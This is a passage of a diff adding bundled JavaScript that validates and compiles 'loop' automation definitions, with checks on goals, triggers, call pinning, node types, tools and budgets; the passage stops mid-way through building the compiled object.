+ if (has(goal, "verdict")) c.oneOf(goal.verdict, "goal.verdict", "goal.verdict", ["pass"]);
4018
+ if (has(goal, "inputs") && c.strList(goal.inputs, "goal.inputs", "goal.inputs", { nonEmpty: true })) {
4019
+ goal.inputs.forEach((x, i) => c.glob(x, join2("goal.inputs", i)));
4020
+ }
4021
+ }
4022
+ if (goalEdges.length && !goal) c.err("goal", "GOAL_REQUIRED", "an edge reaches @goal, so the loop declares goal: { node: <check> }");
4023
+ for (const e of goalEdges) {
4024
+ if (e.fromType === "call") continue;
4025
+ if (e.fromType !== "check") c.err(e.path, "GOAL_VIA_MODEL", "only the goal check (or a call) may reach @goal: a model or notify verdict alone never meets a goal (LL2)");
4026
+ else if (goal && goal.node !== e.from) c.err(e.path, "GOAL_EDGE_NOT_GOAL_NODE", `only goal.node may reach @goal (this is "${e.from}", the goal names "${String(goal.node)}")`);
4027
+ }
4028
+ if (has(d, "land") && c.obj(d.land, "land", "land")) {
4029
+ const l = d.land;
4030
+ c.closed(l, "land", ["paths", "message", "maxWaitMin"]);
4031
+ if (!has(l, "paths")) c.err("land.paths", "REQUIRED", "land.paths is required");
4032
+ else if (c.strList(l.paths, "land.paths", "land.paths", { nonEmpty: true })) {
4033
+ l.paths.forEach((x, i) => {
4034
+ c.glob(x, join2("land.paths", i));
4035
+ if (x.split("/").includes("node_modules")) c.err(join2("land.paths", i), "PROTECTED_PATH", "a loop never lands under node_modules");
4036
+ });
4037
+ }
4038
+ if (!has(l, "message")) c.err("land.message", "REQUIRED", "land.message is required");
4039
+ else c.str(l.message, "land.message", "land.message", 2e3);
4040
+ if (has(l, "maxWaitMin")) c.posInt(l.maxWaitMin, "land.maxWaitMin", "land.maxWaitMin");
4041
+ }
4042
+ let continuous = false;
4043
+ if (has(d, "triggers")) {
4044
+ if (!Array.isArray(d.triggers)) c.err("triggers", "BAD_TYPE", "triggers must be a list");
4045
+ else d.triggers.forEach((t, i) => {
4046
+ const p = join2("triggers", i);
4047
+ const r = validateTrigger(c, t, p, flowRefs);
4048
+ if (r === "continuous") continuous = true;
4049
+ });
4050
+ }
4051
+ if (continuous) {
4052
+ if (!goal && !(runB && has(runB, "rounds"))) {
4053
+ c.err("triggers", "CONTINUOUS_NEEDS_GOAL", "a continuous loop needs a goal or budgets.run.rounds");
4054
+ }
4055
+ if (!(dayB && (has(dayB, "runs") || has(dayB, "computeSec")))) {
4056
+ c.err("budgets.day", "CONTINUOUS_NEEDS_DAY_CAP", "a continuous loop sets budgets.day.runs or budgets.day.computeSec");
4057
+ }
4058
+ }
4059
+ if (flowRefs.length) {
4060
+ if (!opts.flowIndex) {
4061
+ c.warn("flows", "FLOWS_UNRESOLVED", "no flow index was given: flows stay symbolic until the next validate with an index");
4062
+ } else {
4063
+ for (const r of flowRefs) {
4064
+ const globs = opts.flowIndex[r.flow];
4065
+ if (!globs) c.err(r.path, "UNKNOWN_FLOW", `${r.flow} is not in the flow index`);
4066
+ else if (globs.length === 0) c.warn(r.path, "FLOW_NO_PATHS", `${r.flow} resolves to no paths`);
4067
+ }
4068
+ }
4069
+ }
4070
+ validateCalls(c, typeof d.id === "string" ? d.id : "", g, opts, new Set(goalEdges.filter((e) => e.fromType === "call").map((e) => e.from)));
4071
+ if (typeof d.start === "string" && g.nodeTypes.has(d.start)) {
4072
+ const adj = /* @__PURE__ */ new Map();
4073
+ for (const e of edges) if (typeof e.target === "string") adj.set(e.from, [...adj.get(e.from) ?? [], e.target]);
4074
+ const seen = /* @__PURE__ */ new Set([d.start]);
4075
+ const todo = [d.start];
4076
+ while (todo.length) for (const t of adj.get(todo.pop()) ?? []) if (g.nodeTypes.has(t) && !seen.has(t)) {
4077
+ seen.add(t);
4078
+ todo.push(t);
4079
+ }
4080
+ for (const [id, i] of g.nodeIndex) {
4081
+ if (!seen.has(id)) c.warn(join2(join2("nodes", i), "id"), "UNREACHABLE_NODE", `node "${id}" is never reached from start`);
4082
+ }
4083
+ }
4084
+ }
4085
+ function validateCalls(c, selfId, g, opts, callsToGoal) {
4086
+ const known = knownMap(opts.knownLoops);
4087
+ for (const { path: path2, callee, hash8, from } of g.callees) {
4088
+ if (callee === selfId) {
4089
+ c.err(path2, "CALL_CYCLE", `a loop cannot call itself (${selfId} \u2192 ${selfId})`);
4090
+ continue;
4091
+ }
4092
+ if (!known) continue;
4093
+ if (!known.has(callee)) {
4094
+ c.err(path2, "UNKNOWN_CALLEE", `no loop "${callee}" in this scope`);
4095
+ continue;
4096
+ }
4097
+ const calleeDef = known.get(callee);
4098
+ let actual = null;
4099
+ try {
4100
+ actual = loopContentHash(calleeDef);
4101
+ } catch {
4102
+ actual = null;
4103
+ }
4104
+ if (actual === null) c.err(path2, "CALL_PIN_MISMATCH", `the callee "${callee}" cannot be hashed (not a JSON definition)`);
4105
+ else if (actual.slice(0, 8) !== hash8) c.err(path2, "CALL_PIN_MISMATCH", `the pin ${callee}@${hash8} is not the callee's content hash (${callee}@${actual.slice(0, 8)})`);
4106
+ if (callsToGoal.has(from) && !(isObj(calleeDef) && isObj(calleeDef.goal))) {
4107
+ c.err(path2, "CALL_GOAL_REQUIRED", `this call reaches @goal, so "${callee}" must declare a goal`);
4108
+ }
4109
+ const st = { cycle: null, deepest: [selfId, callee] };
4110
+ const walk = (id, chain) => {
4111
+ if (st.cycle) return;
4112
+ if (chain.length > st.deepest.length) st.deepest = chain;
4113
+ if (chain.length - 1 > LOOP_CALL_DEPTH_MAX) return;
4114
+ for (const next of callTargets(known.get(id))) {
4115
+ if (chain.includes(next)) {
4116
+ st.cycle = [...chain, next];
4117
+ return;
4118
+ }
4119
+ if (known.has(next)) walk(next, [...chain, next]);
4120
+ }
4121
+ };
4122
+ walk(callee, [selfId, callee]);
4123
+ if (st.cycle) c.err(path2, "CALL_CYCLE", `call cycle: ${st.cycle.join(" \u2192 ")}`);
4124
+ else if (st.deepest.length - 1 > LOOP_CALL_DEPTH_MAX) {
4125
+ c.err(path2, "CALL_DEPTH", `call depth ${st.deepest.length - 1} exceeds ${LOOP_CALL_DEPTH_MAX}: ${st.deepest.join(" \u2192 ")}`);
4126
+ }
4127
+ }
4128
+ }
4129
+ function validateTrigger(c, t, p, flowRefs) {
4130
+ if (!c.obj(t, p, "a trigger")) return null;
4131
+ const kinds = ["schedule", "event", "continuous"].filter((k) => has(t, k));
4132
+ if (kinds.length !== 1) {
4133
+ c.closed(t, p, ["schedule", "catchUp", "event", "debounce", "continuous"]);
4134
+ c.err(p, "BAD_TRIGGER", "a trigger has exactly one of schedule, event or continuous");
4135
+ return null;
4136
+ }
4137
+ const kind = kinds[0];
4138
+ if (kind === "schedule") {
4139
+ c.closed(t, p, ["schedule", "catchUp"]);
4140
+ if (has(t, "catchUp")) c.oneOf(t.catchUp, join2(p, "catchUp"), "catchUp", ["skip", "once"]);
4141
+ const sp = join2(p, "schedule");
4142
+ if (!c.obj(t.schedule, sp, "schedule")) return kind;
4143
+ const s = t.schedule;
4144
+ if (has(s, "cron")) {
4145
+ c.later(join2(sp, "cron"), "the cron trigger");
4146
+ return kind;
4147
+ }
4148
+ const forms = ["every", "daily", "weekly"].filter((k) => has(s, k));
4149
+ c.closed(s, sp, ["every", "daily", "weekly"]);
4150
+ if (forms.length !== 1) {
4151
+ c.err(sp, "BAD_TRIGGER", "a schedule has exactly one of every, daily or weekly");
4152
+ return kind;
4153
+ }
4154
+ if (forms[0] === "every") {
4155
+ const sec = c.duration(s.every, join2(sp, "every"), "schedule.every");
4156
+ if (sec !== null && sec < LOOP_CONTINUOUS_MIN_COOLDOWN_SEC) c.err(join2(sp, "every"), "BAD_DURATION", `schedule.every is at least ${LOOP_CONTINUOUS_MIN_COOLDOWN_SEC}s`);
4157
+ } else if (forms[0] === "daily") {
4158
+ if (typeof s.daily !== "string" || !HHMM.test(s.daily)) c.err(join2(sp, "daily"), "BAD_TIME", 'daily is a quoted "HH:MM" (24-hour)');
4159
+ } else if (c.obj(s.weekly, join2(sp, "weekly"), "weekly")) {
4160
+ const w = s.weekly;
4161
+ c.closed(w, join2(sp, "weekly"), ["day", "at"]);
4162
+ c.oneOf(w.day, join2(sp, "weekly.day"), "weekly.day", LOOP_WEEKDAYS);
4163
+ if (typeof w.at !== "string" || !HHMM.test(w.at)) c.err(join2(sp, "weekly.at"), "BAD_TIME", 'weekly.at is a quoted "HH:MM" (24-hour)');
4164
+ }
4165
+ return kind;
4166
+ }
4167
+ if (kind === "event") {
4168
+ c.closed(t, p, ["event", "debounce"]);
4169
+ if (has(t, "debounce")) c.duration(t.debounce, join2(p, "debounce"), "debounce");
4170
+ const ep = join2(p, "event");
4171
+ if (!c.obj(t.event, ep, "event")) return kind;
4172
+ const e = t.event;
4173
+ if (e.kind === "sentinel.incident.opened") {
4174
+ c.later(join2(ep, "kind"), "the sentinel.incident.opened trigger");
4175
+ return kind;
4176
+ }
4177
+ if (!c.oneOf(e.kind, join2(ep, "kind"), "event.kind", LOOP_EVENT_KINDS)) return kind;
4178
+ if (e.kind === "file.changed") {
4179
+ c.closed(e, ep, ["kind", "flow"]);
4180
+ if (!has(e, "flow")) c.err(join2(ep, "flow"), "REQUIRED", "a file.changed trigger names its flow");
4181
+ else if (typeof e.flow !== "string" || !FLOW_ID.test(e.flow)) c.err(join2(ep, "flow"), "BAD_ID", "a flow is a $kebab-id");
4182
+ else flowRefs.push({ path: join2(ep, "flow"), flow: e.flow });
4183
+ } else if (e.kind === "card.decided") {
4184
+ c.closed(e, ep, ["kind", "loop", "node"]);
4185
+ c.kebab(e.loop, join2(ep, "loop"), "event.loop");
4186
+ c.kebab(e.node, join2(ep, "node"), "event.node");
4187
+ } else {
4188
+ c.closed(e, ep, ["kind"]);
4189
+ }
4190
+ return kind;
4191
+ }
4192
+ c.closed(t, p, ["continuous"]);
4193
+ const cp = join2(p, "continuous");
4194
+ if (!c.obj(t.continuous, cp, "continuous")) return kind;
4195
+ c.closed(t.continuous, cp, ["cooldown"]);
4196
+ if (!has(t.continuous, "cooldown")) c.err(join2(cp, "cooldown"), "CONTINUOUS_COOLDOWN", `a continuous trigger sets cooldown \u2265 ${LOOP_CONTINUOUS_MIN_COOLDOWN_SEC}s`);
4197
+ else {
4198
+ const sec = c.duration(t.continuous.cooldown, join2(cp, "cooldown"), "cooldown");
4199
+ if (sec !== null && sec < LOOP_CONTINUOUS_MIN_COOLDOWN_SEC) {
4200
+ c.err(join2(cp, "cooldown"), "CONTINUOUS_COOLDOWN", `cooldown is at least ${LOOP_CONTINUOUS_MIN_COOLDOWN_SEC}s`);
4201
+ }
4202
+ }
4203
+ return kind;
4204
+ }
4205
+ function validateExit(c, n, p) {
4206
+ if (!has(n, "exit") || !c.obj(n.exit, join2(p, "exit"), "exit")) return;
4207
+ c.closed(n.exit, join2(p, "exit"), ["maxVisits", "maxFailStreak"]);
4208
+ for (const f of ["maxVisits", "maxFailStreak"]) if (has(n.exit, f)) c.posInt(n.exit[f], join2(p, `exit.${f}`), `exit.${f}`);
4209
+ }
4210
+ function validateEdges(c, n, p, keys, edges, from, type) {
4211
+ if (!has(n, "on")) return;
4212
+ if (!c.obj(n.on, join2(p, "on"), "on")) return;
4213
+ for (const [k, target] of Object.entries(n.on)) {
4214
+ const ep = join2(join2(p, "on"), k);
4215
+ if (k !== ANY && !keys.includes(k)) {
4216
+ c.err(ep, "BAD_EDGE_KEY", `"${k}" is not a verdict of this node (${[...keys, ANY].join(", ")})`);
4217
+ continue;
4218
+ }
4219
+ edges.push({ path: ep, from, fromType: type, target });
4220
+ }
4221
+ }
4222
+ function validateInputRefs(c, v, p, what, g) {
4223
+ if (!c.strList(v, p, what)) return;
4224
+ v.forEach((ref, i) => {
4225
+ const m = INPUT_REF.exec(ref);
4226
+ if (!m) c.err(join2(p, i), "BAD_INPUT_REF", `${what} entries are <node-or-source>.<field> (like tsc.evidence or trigger.payload)`);
4227
+ else if (!LOOP_INPUT_ROOTS.includes(m[1]) && !g.nodeTypes.has(m[1])) {
4228
+ c.err(join2(p, i), "BAD_INPUT_REF", `"${m[1]}" is not a node id or one of ${LOOP_INPUT_ROOTS.join(", ")}`);
4229
+ }
4230
+ });
4231
+ }
4232
+ function validateNode(c, n, p, g, edges) {
4233
+ if (!c.obj(n, p, "a node")) return;
4234
+ if (!has(n, "id")) c.err(join2(p, "id"), "REQUIRED", "a node has an id");
4235
+ else c.kebab(n.id, join2(p, "id"), "node id");
4236
+ const id = typeof n.id === "string" ? n.id : "";
4237
+ if (!c.oneOf(n.type, join2(p, "type"), "node type", ["check", "model", "notify", "call"])) return;
4238
+ validateExit(c, n, p);
4239
+ if (n.type === "check") {
4240
+ c.closed(n, p, ["id", "type", "run", "builtin", "args", "effect", "pass", "timeoutSec", "env", "exit", "on"]);
4241
+ if (has(n, "env")) c.envList(n.env, join2(p, "env"));
4242
+ const hasRun = has(n, "run");
4243
+ const hasBuiltin = has(n, "builtin");
4244
+ if (hasRun === hasBuiltin) c.err(p, "CHECK_RUN_XOR_BUILTIN", "a check has exactly one of run or builtin");
4245
+ if (hasRun) {
4246
+ g.nodeHasRun.add(id);
4247
+ for (const issue of argvIssues(n.run, join2(p, "run"))) c.errors.push(issue);
4248
+ if (has(n, "args")) c.err(join2(p, "args"), "UNKNOWN_KEY", "args is for builtin checks; a run check puts its arguments in run");
4249
+ }
4250
+ if (hasBuiltin) {
4251
+ c.oneOf(n.builtin, join2(p, "builtin"), "builtin", LOOP_BUILTINS);
4252
+ if (has(n, "args") && c.obj(n.args, join2(p, "args"), "args")) c.literalArgs(n.args, join2(p, "args"));
4253
+ }
4254
+ if (has(n, "effect") && c.oneOf(n.effect, join2(p, "effect"), "effect", ["read", "write"]) && n.effect === "write") c.later(join2(p, "effect"), "effect: write (a write check)");
4255
+ if (has(n, "timeoutSec")) c.posInt(n.timeoutSec, join2(p, "timeoutSec"), "timeoutSec");
4256
+ if (has(n, "pass") && c.obj(n.pass, join2(p, "pass"), "pass")) {
4257
+ const pp = join2(p, "pass");
4258
+ const ps = n.pass;
4259
+ if (has(ps, "exit")) {
4260
+ c.closed(ps, pp, ["exit"]);
4261
+ if (!(typeof ps.exit === "number" && Number.isInteger(ps.exit) && ps.exit >= 0 && ps.exit <= 255)) c.err(join2(pp, "exit"), "BAD_NUMBER", "pass.exit is an exit code 0\u2013255");
4262
+ } else if (has(ps, "parse")) {
4263
+ c.closed(ps, pp, ["parse", "failed"]);
4264
+ c.oneOf(ps.parse, join2(pp, "parse"), "pass.parse", LOOP_PARSERS);
4265
+ if (!(typeof ps.failed === "number" && Number.isInteger(ps.failed) && ps.failed >= 0)) c.err(join2(pp, "failed"), "BAD_NUMBER", "pass.failed is a non-negative integer");
4266
+ } else if (has(ps, "json")) {
4267
+ c.closed(ps, pp, ["json", "op", "value"]);
4268
+ if (typeof ps.json !== "string" || !/^\$(\.[A-Za-z_][A-Za-z0-9_-]*|\[\d+\])*$/.test(ps.json)) c.err(join2(pp, "json"), "BAD_JSONPATH", "pass.json is a simple JSONPath like $.summary.failed");
4269
+ c.oneOf(ps.op, join2(pp, "op"), "pass.op", LOOP_JSON_OPS);
4270
+ const v = ps.value;
4271
+ if (!(v === null || typeof v === "number" || typeof v === "boolean" || typeof v === "string")) c.err(join2(pp, "value"), "BAD_TYPE", "pass.value is a literal (number, string, boolean or null)");
4272
+ } else {
4273
+ c.err(pp, "BAD_PASS", "pass is one of { exit }, { parse, failed } or { json, op, value }");
4274
+ }
4275
+ }
4276
+ validateEdges(c, n, p, CHECK_VERDICTS, edges, id, "check");
4277
+ return;
4278
+ }
4279
+ if (n.type === "model") {
4280
+ c.closed(n, p, ["id", "type", "role", "model", "prompt", "inputs", "tools", "verdict", "limits", "env", "exit", "on"]);
4281
+ const role = c.oneOf(n.role, join2(p, "role"), "role", LOOP_MODEL_ROLES) ? n.role : void 0;
4282
+ if (has(n, "env")) {
4283
+ if (role === "judge" || role === "summarize") c.err(join2(p, "env"), "ENV_NOT_ALLOWED", `a ${role} node runs no tools, so it takes no env; only check and act nodes do`);
4284
+ else c.envList(n.env, join2(p, "env"));
4285
+ }
4286
+ if (has(n, "model") && c.obj(n.model, join2(p, "model"), "model")) {
4287
+ const m = n.model;
4288
+ const mp = join2(p, "model");
4289
+ c.closed(m, mp, ["use", "profile", "escalate", "minConfidence"]);
4290
+ if (has(m, "use")) {
4291
+ if (m.use === "claude" || m.use === "any") c.later(join2(mp, "use"), `model.use: ${m.use} (Claude in loops)`);
4292
+ else c.oneOf(m.use, join2(mp, "use"), "model.use", ["local"]);
4293
+ }
4294
+ if (has(m, "escalate")) {
4295
+ if (["on-unsure", "on-unavailable", "both"].includes(m.escalate)) c.later(join2(mp, "escalate"), `escalate: ${m.escalate} (Claude escalation)`);
4296
+ else c.oneOf(m.escalate, join2(mp, "escalate"), "model.escalate", ["never"]);
4297
+ }
4298
+ if (has(m, "profile")) c.kebab(m.profile, join2(mp, "profile"), "model.profile");
4299
+ if (has(m, "minConfidence") && !(typeof m.minConfidence === "number" && m.minConfidence >= 0 && m.minConfidence <= 1)) {
4300
+ c.err(join2(mp, "minConfidence"), "BAD_NUMBER", "model.minConfidence is a number in [0, 1]");
4301
+ }
4302
+ }
4303
+ if (has(n, "prompt")) c.str(n.prompt, join2(p, "prompt"), "prompt", 2e4);
4304
+ if (has(n, "inputs")) validateInputRefs(c, n.inputs, join2(p, "inputs"), "inputs", g);
4305
+ if (has(n, "tools")) {
4306
+ const tp = join2(p, "tools");
4307
+ const none = n.tools === "none" || Array.isArray(n.tools) && n.tools.length === 0;
4308
+ if (!none && (role === "judge" || role === "summarize")) {
4309
+ c.err(tp, "TOOLS_NOT_ALLOWED", `a ${role} node has no tools (\xA73.4); only act nodes get the tools they declare`);
4310
+ } else if (!none) {
4311
+ if (!Array.isArray(n.tools)) c.err(tp, "BAD_TYPE", "tools is none or a list (read, edit, { paradigm: [...] })");
4312
+ else n.tools.forEach((tool, i) => {
4313
+ const ip = join2(tp, i);
4314
+ if (tool === "read" || tool === "edit") return;
4315
+ if (isObj(tool) && has(tool, "bash")) {
4316
+ c.later(join2(ip, "bash"), "the bash tool in loops");
4317
+ return;
4318
+ }
4319
+ if (isObj(tool) && has(tool, "paradigm")) {
4320
+ c.closed(tool, ip, ["paradigm"]);
4321
+ if (Array.isArray(tool.paradigm)) tool.paradigm.forEach((x, j) => c.oneOf(x, join2(join2(ip, "paradigm"), j), "paradigm tool", LOOP_PARADIGM_TOOLS));
4322
+ else c.err(join2(ip, "paradigm"), "BAD_TYPE", "paradigm tools are a list");
4323
+ return;
4324
+ }
4325
+ c.err(ip, "BAD_TOOL", "a tool is read, edit or { paradigm: [...] }");
4326
+ });
4327
+ }
4328
+ }
4329
+ if (has(n, "verdict")) {
4330
+ const vp = join2(p, "verdict");
4331
+ if (role !== "judge") c.err(vp, "UNKNOWN_KEY", "verdict classes are for judge nodes");
4332
+ else if (c.obj(n.verdict, vp, "verdict")) {
4333
+ c.closed(n.verdict, vp, ["classes"]);
4334
+ if (c.strList(n.verdict.classes, join2(vp, "classes"), "verdict.classes", { nonEmpty: true })) {
4335
+ n.verdict.classes.forEach((k, i) => c.kebab(k, join2(join2(vp, "classes"), i), "a verdict class"));
4336
+ }
4337
+ }
4338
+ }
4339
+ if (has(n, "limits") && c.obj(n.limits, join2(p, "limits"), "limits")) {
4340
+ c.closed(n.limits, join2(p, "limits"), ["turns", "tokens"]);
4341
+ if (has(n.limits, "turns")) c.posInt(n.limits.turns, join2(p, "limits.turns"), "limits.turns");
4342
+ if (has(n.limits, "tokens")) c.count(n.limits.tokens, join2(p, "limits.tokens"), "limits.tokens");
4343
+ }
4344
+ validateEdges(c, n, p, MODEL_VERDICTS, edges, id, "model");
4345
+ return;
4346
+ }
4347
+ if (n.type === "notify") {
4348
+ c.closed(n, p, ["id", "type", "as", "text", "attach", "choices", "exit", "on"]);
4349
+ const as = c.oneOf(n.as, join2(p, "as"), "notify as", ["toast", "card"]) ? n.as : void 0;
4350
+ if (has(n, "text")) c.str(n.text, join2(p, "text"), "text", 2e3);
4351
+ if (has(n, "attach")) validateInputRefs(c, n.attach, join2(p, "attach"), "attach", g);
4352
+ let keys = TOAST_VERDICTS;
4353
+ if (as === "card") {
4354
+ if (!has(n, "choices")) c.err(join2(p, "choices"), "REQUIRED", "a card lists its choices");
4355
+ else if (c.strList(n.choices, join2(p, "choices"), "choices", { nonEmpty: true })) {
4356
+ const seen = /* @__PURE__ */ new Set();
4357
+ n.choices.forEach((ch, i) => {
4358
+ const cp = join2(join2(p, "choices"), i);
4359
+ if (!c.kebab(ch, cp, "a choice")) return;
4360
+ if (ch === "timeout" || ch === ANY) c.err(cp, "BAD_ID", `"${ch}" is reserved`);
4361
+ if (seen.has(ch)) c.err(cp, "DUPLICATE_ID", `choice "${ch}" is listed twice`);
4362
+ seen.add(ch);
4363
+ });
4364
+ keys = [...n.choices, "timeout"];
4365
+ }
4366
+ } else if (as === "toast" && has(n, "choices")) {
4367
+ c.err(join2(p, "choices"), "UNKNOWN_KEY", "choices are for cards (as: card)");
4368
+ }
4369
+ validateEdges(c, n, p, keys, edges, id, "notify");
4370
+ if (as === "card" && isObj(n.on)) {
4371
+ const on = n.on;
4372
+ const eff = (k) => on[k] ?? on[ANY];
4373
+ const t = eff("timeout");
4374
+ if (t !== void 0 && t !== "@pause") c.err(join2(join2(p, "on"), "timeout"), "CARD_EDGE", "a card's timeout goes to @pause (an unanswered card pauses the loop)");
4375
+ const st = eff("stop");
4376
+ if (Array.isArray(n.choices) && n.choices.includes("stop") && st !== void 0 && st !== "@stop" && st !== "@pause") c.err(join2(join2(p, "on"), "stop"), "CARD_EDGE", "a card's stop goes to @stop or @pause (stop never continues the loop)");
4377
+ }
4378
+ return;
4379
+ }
4380
+ c.closed(n, p, ["id", "type", "loop", "exit", "on"]);
4381
+ if (!has(n, "loop")) c.err(join2(p, "loop"), "REQUIRED", "a call names its loop as id@hash8");
4382
+ else if (typeof n.loop !== "string" || !CALL_REF.exec(n.loop)) c.err(join2(p, "loop"), "BAD_CALL", "a call is pinned: <loop-id>@<hash8> (8 lowercase hex)");
4383
+ else {
4384
+ const m = CALL_REF.exec(n.loop);
4385
+ g.callees.push({ path: join2(p, "loop"), callee: m[1], hash8: m[2], from: id });
4386
+ }
4387
+ validateEdges(c, n, p, CALL_VERDICTS, edges, id, "call");
4388
+ }
4389
+ function validateLoop(input, opts = {}) {
4390
+ const c = new Checker();
4391
+ validateInto(c, input, opts);
4392
+ const ok = c.errors.length === 0;
4393
+ return { ok, errors: c.errors, warnings: c.warnings, ...ok ? { loop: input } : {} };
4394
+ }
4395
+ function expandEdges(on, keys, fallback) {
4396
+ const out = {};
4397
+ for (const k of keys) out[k] = on?.[k] ?? on?.[ANY] ?? fallback(k);
4398
+ return out;
4399
+ }
4400
+ var definedExit = (e) => e ? { ...e.maxVisits !== void 0 ? { maxVisits: e.maxVisits } : {}, ...e.maxFailStreak !== void 0 ? { maxFailStreak: e.maxFailStreak } : {} } : void 0;
4401
+ function compileNode(n, readShebang) {
4402
+ const exit = definedExit(n.exit);
4403
+ switch (n.type) {
4404
+ case "check": {
4405
+ const interp = n.run && readShebang ? readShebang(n.run[0]) : null;
4406
+ return {
4407
+ id: n.id,
4408
+ type: "check",
4409
+ ...n.run ? { run: [...n.run] } : {},
4410
+ ...interp ? { argv0Interpreter: interp } : {},
4411
+ ...n.builtin ? { builtin: n.builtin, args: structuredClone(n.args ?? {}) } : {},
4412
+ effect: n.effect ?? LOOP_DEFAULTS.effect,
4413
+ pass: structuredClone(n.pass ?? { exit: 0 }),
4414
+ timeoutSec: n.timeoutSec ?? LOOP_DEFAULTS.timeoutSec,
4415
+ ...n.env?.length ? { env: [...n.env] } : {},
4416
+ ...exit ? { exit } : {},
4417
+ on: expandEdges(n.on, CHECK_VERDICTS, () => "@stop")
4418
+ };
4419
+ }
4420
+ case "model": {
4421
+ const tools = n.tools === void 0 || n.tools === "none" ? [] : structuredClone(n.tools);
4422
+ return {
4423
+ id: n.id,
4424
+ type: "model",
4425
+ role: n.role,
4426
+ model: {
4427
+ use: "local",
4428
+ escalate: "never",
4429
+ ...n.model?.profile ? { profile: n.model.profile } : {},
4430
+ minConfidence: n.model?.minConfidence ?? LOOP_DEFAULTS.minConfidence
4431
+ },
4432
+ ...n.prompt !== void 0 ? { prompt: n.prompt } : {},
4433
+ inputs: [...n.inputs ?? []],
4434
+ tools,
4435
+ ...n.verdict ? { verdict: { classes: [...n.verdict.classes] } } : {},
4436
+ limits: {
4437
+ turns: n.limits?.turns ?? LOOP_DEFAULTS.modelLimits.turns,
4438
+ tokens: n.limits?.tokens !== void 0 ? parseCount(n.limits.tokens) : LOOP_DEFAULTS.modelLimits.tokens
4439
+ },
4440
+ ...n.env?.length ? { env: [...n.env] } : {},
4441
+ ...exit ? { exit } : {},
4442
+ on: expandEdges(n.on, MODEL_VERDICTS, (k) => k === "unavailable" ? "@pause" : "@stop")
4443
+ };
4444
+ }
4445
+ case "notify": {
4446
+ const keys = n.as === "card" ? [...n.choices ?? [], "timeout"] : TOAST_VERDICTS;
4447
+ return {
4448
+ id: n.id,
4449
+ type: "notify",
4450
+ as: n.as,
4451
+ ...n.text !== void 0 ? { text: n.text } : {},
4452
+ attach: [...n.attach ?? []],
4453
+ ...n.as === "card" ? { choices: [...n.choices ?? []] } : {},
4454
+ ...exit ? { exit } : {},
4455
+ on: expandEdges(n.on, keys, (k) => k === "timeout" ? "@pause" : "@stop")
4456
+ };
4457
+ }
4458
+ case "call": {
4459
+ const m = CALL_REF.exec(n.loop);
4460
+ return {
4461
+ id: n.id,
4462
+ type: "call",
4463
+ loop: n.loop,
4464
+ callee: m[1],
4465
+ hash8: m[2],
4466
+ ...exit ? { exit } : {},
4467
+ on: expandEdges(n.on, CALL_VERDICTS, () => "@stop")
4468
+ };
4469
+ }
4470
+ }
4471
+ }
4472
+ function compileTrigger(t, flowIndex) {
4473
+ if ("schedule" in t) {
4474
+ const s = t.schedule;
4475
+ return {
4476
+ type: "schedule",
4477
+ ..."every" in s ? { every: parseDurationSec(s.every) } : {},
4478
+ ..."daily" in s ? { daily: s.daily } : {},
4479
+ ..."weekly" in s ? { weekly: { day: s.weekly.day, at: s.weekly.at } } : {},
4480
+ catchUp: t.catchUp ?? LOOP_DEFAULTS.catchUp
4481
+ };
4482
+ }
4483
+ if ("event" in t) {
4484
+ const e = t.event;
4485
+ const debounceSec = t.debounce !== void 0 ? parseDurationSec(t.debounce) : LOOP_DEFAULTS.debounceSec;
4486
+ if (e.kind === "file.changed") {
4487
+ const paths = flowIndex?.[e.flow];
4488
+ return { type: "event", kind: e.kind, flow: e.flow, ...paths ? { paths: [...paths] } : {}, debounceSec };
4489
+ }
4490
+ if (e.kind === "card.decided") return { type: "event", kind: e.kind, loop: e.loop, node: e.node, debounceSec };
4491
+ return { type: "event", kind: e.kind, debounceSec };
4492
+ }
4493
+ return { type: "continuous", cooldownSec: parseDurationSec(t.continuous.cooldown) };
4494
+ }
4495
+ function compileLoop(input, opts = {}) {
4496
+ const v = validateLoop(input, opts);
4497
+ if (!v.ok || !v.loop) return v;
4498
+ const d = v.loop;
4499
+ const bd = opts.budgetDefaults ?? LOOP_BUDGET_DEFAULTS;
4500
+ const br = d.budgets?.run;
4501
+ const bday = d.budgets?.day;
4502
+ const be = d.budgets?.escalations;
4503
+ const flows = [...d.flows ?? []];
4504
+ const referenced = new Set(flows);
4505
+ for (const t of d.triggers ?? []) if ("event" in t && t.event.kind === "file.changed") referenced.add(t.event.flow);
4506
+ const flowsResolved = !!opts.flowIndex || referenced.size === 0;
4507
+ const flowPaths = opts.flowIndex && referenced.size ? Object.fromEntries([...referenced].sort().map((f) => [f, [...opts.flowIndex[f] ?? []]])) : void 0;
4508
+ const known = knownMap(opts.knownLoops);
4509
+ const prot = /* @__PURE__ */ new Set([...LOOP_ALWAYS_PROTECTED, ...ownProtected(d)]);
4510
+ const seenCallees = /* @__PURE__ */ new Set();
4511
+ const todo = callTargets(d);
4512
+ while (todo.length) {
4513
+ const id = todo.pop();
4514
+ if (seenCallees.has(id) || !known?.has(id)) continue;
4515
+ seenCallees.add(id);
4516
+ for (const x of ownProtected(known.get(id))) prot.add(x);
4517
+ todo.push(...callTargets(known.get(id)));
4518
+ }
4519
+ const callsResolved = callTargets(d).length === 0 || !!known;
4520
+ const compiled = {
4521
+ schema: LOOP_SCHEMA,
4522
+ compiled: { version: LOOP_COMPILED_VERSION, flowsResolved, callsResolved, sourceHash: loopContentHash(input) },
4523
+ id: d.id,
4524
+ ...d.title !== void 0 ? { title: d.title } : {},
4525
+ scope: opts.scope ?? "repo",
4526
+ ...d.repo !== void 0 ? { repo: d.repo } : {},
4527
+ flows,
4528
+ ...flowPaths ? { flowPaths } : {},
4529
+ triggers: (d.triggers ?? []).map((t) => compileTrigger(t, opts.flowIndex)),
4530
+ autonomy: d.autonomy ?? LOOP_DEFAULTS.autonomy,
4531
+ notify: { on: [...d.notify?.on ?? LOOP_DEFAULTS.notify.on], as: d.notify?.as ?? LOOP_DEFAULTS.notify.as },
4532
+ decide: d.decide ?? LOOP_DEFAULTS.decide,
4533
+ budgets: {
4534
+ run: {
4535
+ rounds: br?.rounds ?? bd.run.rounds,
4536
+ wallMin: br?.wallMin ?? bd.run.wallMin,
4537
+ tokens: br?.tokens !== void 0 ? parseCount(br.tokens) : bd.run.tokens,
4538
+ computeSec: br?.computeSec ?? bd.run.computeSec
4539
+ },
4540
+ day: {
4541
+ runs: bday?.runs ?? bd.day.runs,
4542
+ tokens: bday?.tokens !== void 0 ? parseCount(bday.tokens) : bd.day.tokens,
4543
+ computeSec: bday?.computeSec ?? bd.day.computeSec
4544
+ },
4545
